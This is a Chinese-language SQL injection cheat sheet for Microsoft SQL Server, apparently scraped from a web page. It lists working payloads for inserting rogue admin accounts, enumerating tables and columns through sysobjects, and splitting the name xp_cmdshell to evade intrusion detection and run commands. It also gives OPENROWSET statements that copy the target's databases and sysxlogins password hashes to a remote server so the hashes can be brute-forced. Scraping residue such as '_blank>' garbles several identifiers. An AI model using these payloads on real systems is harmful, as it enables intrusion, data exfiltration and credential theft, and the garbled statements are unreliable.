insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)-- insert into users values( 667,123,123,0xffff)-- insert into users values ( 123, admin--, password, 0xffff)-- ;and user>0 ;and (select count(*) from sysobjects)>0 ;and (select count(*) from mysysobjects)>0 //为access_blank>数据库
枚举出数据表名 ;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0);-- 这是将第一个表名更新到aaa的字段处。 读出第一个表,第二个表可以这样读出来(在条件后加上 and name<>刚才得到的表名)。 ;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0 and name<>vote);-- 然后id=1552 and exists(select * from aaa where aaa>5) 读出第二个表,一个个的读出,直到没有为止。 读字段是这样: ;update aaa set aaa=(select top 1 col_blank>_name(object_blank>_id(表名),1));-- 然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名 ;update aaa set aaa=(select top 1 col_blank>_name(object_blank>_id(表名),2));-- 然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名
[获得数据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名] update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>你得到的表名 查出一个加一个]) [ where 条件] select top 1 name from sysobjects where xtype=u and status>0 and name not in(table1,table2,…) 通过SQLSERVER注入_blank>漏洞建_blank>数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]
[获得数据表字段名][将字段值更新为字段名,再想法读出这个字段的值就可得到字段名] update 表名 set 字段=(select top 1 col_blank>_name(object_blank>_id(要查询的数据表名),字段列如:1) [ where 条件]
绕过IDS的检测[使用变量] ;declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\ ;declare @a sysname set @a=xp+_blank>_cm’+’dshell exec @a dir c:\
1、 开启远程_blank>数据库 基本语法 select * from OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1 ) 参数: (1) OLEDB Provider name 2、 其中连接字符串参数可以是任何端口用来连接,比如 select * from OPENROWSET(SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;, select * from table 3.复制目标主机的整个_blank>数据库insert所有远程表到本地表。
基本语法: insert into OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1) select * from table2 这行语句将目标主机上table2表中的所有数据复制到远程_blank>数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端口,指向需要的地方,比如: insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from table2 insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysdatabases) select * from master.dbo.sysdatabases insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysobjects) select * from user_blank>_database.dbo.sysobjects insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_syscolumns) select * from user_blank>_database.dbo.syscolumns 复制_blank>数据库: insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from database..table1 insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table2) select * from database..table2
复制哈西表(HASH)登录_blank>密码的hash存储于sysxlogins中。方法如下: insert into OPENROWSET(SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysxlogins) select * from database.dbo.sysxlogins 得到hash之后,就可以进行暴力破解。
(责任编辑:admin) |